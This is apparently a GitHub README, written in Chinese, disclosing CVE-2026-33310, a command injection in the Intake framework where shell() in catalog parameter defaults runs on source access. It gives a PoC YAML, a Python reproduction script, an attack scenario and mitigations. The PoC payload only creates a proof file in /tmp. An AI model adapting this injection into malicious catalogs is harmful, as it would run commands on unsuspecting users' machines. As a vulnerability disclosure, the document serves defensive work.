redyank/CVE-2026-33310
GitHub: redyank/CVE-2026-33310
CVE-2026-33310 的 PoC,展示 Intake 框架在解析 catalog 参数默认值时通过 shell() 展开触发命令注入的漏洞。
Stars: 0 | Forks: 1
# CVE-2026-33310
CVE-2026-33310(通过参数默认值中的 shell() 展开实现命令注入)
### 概述
参数默认值中的 shell() 语法似乎在 catalog 解析过程中会自动展开。
如果 catalog 包含类似 shell() 的参数默认值,当访问 catalog 源时,该命令可能会被执行。
这意味着如果用户加载了恶意的 catalog YAML,嵌入的命令可能会在主机系统上执行。
此行为可能被归类为 CWE-78:OS 命令注入 / 不安全的 Shell 展开。
### 详情
该问题似乎源于在访问 catalog 源时参数默认值的展开方式。
在 catalog 加载和源访问期间:
Intake 解析参数默认值
负责展开默认值的函数处理 shell() 语法
Shell 表达式触发子进程执行
由于这发生在 catalog 评估期间,命令可能会在用户显式与数据集本身交互之前执行。
受影响的逻辑似乎涉及:
```
expand_defaults()
```
以及相关的参数解析机制。
### PoC
exploit.yaml
```
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
```
reproduce.py
```
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
```
### 攻击场景
潜在的攻击场景可能是:
1. 攻击者发布恶意的 Intake catalog YAML 文件
2. 受害者下载或加载该 catalog
3. 受害者访问 catalog 中的一个 source 条目
4. 参数默认值被展开
5. shell() 表达式触发嵌入命令的执行
### 影响
如果此行为被确认为非预期,攻击者可能通过以下方式分发恶意 catalog 文件:
- Git 仓库
- 共享数据集
- URL
- 数据科学工作流
- 任何加载该 catalog 的用户都可能 unknowingly 以其本地用户权限执行命令。
### 建议
可能的缓解措施包括:
- 默认禁用 shell() 展开
- 要求显式的选择加入标志(例如 allow_shell=True)
- 限制对来自不可信源的 catalog 执行 shell
如果需要更多信息或测试,请告诉我。
我很乐意协助进行进一步的分析或验证。
标签:CVE-2026-33310, CWE-78, Exploit, Go语言工具, Intake, PoC, RCE, Shell注入, YAML解析漏洞, 不安全的反序列化, 依赖混淆, 参数默认值, 命令注入, 开放策略代理, 数据目录安全, 文档安全, 暴力破解, 沙箱逃逸, 编程工具, 远程代码执行, 逆向工具, 零日漏洞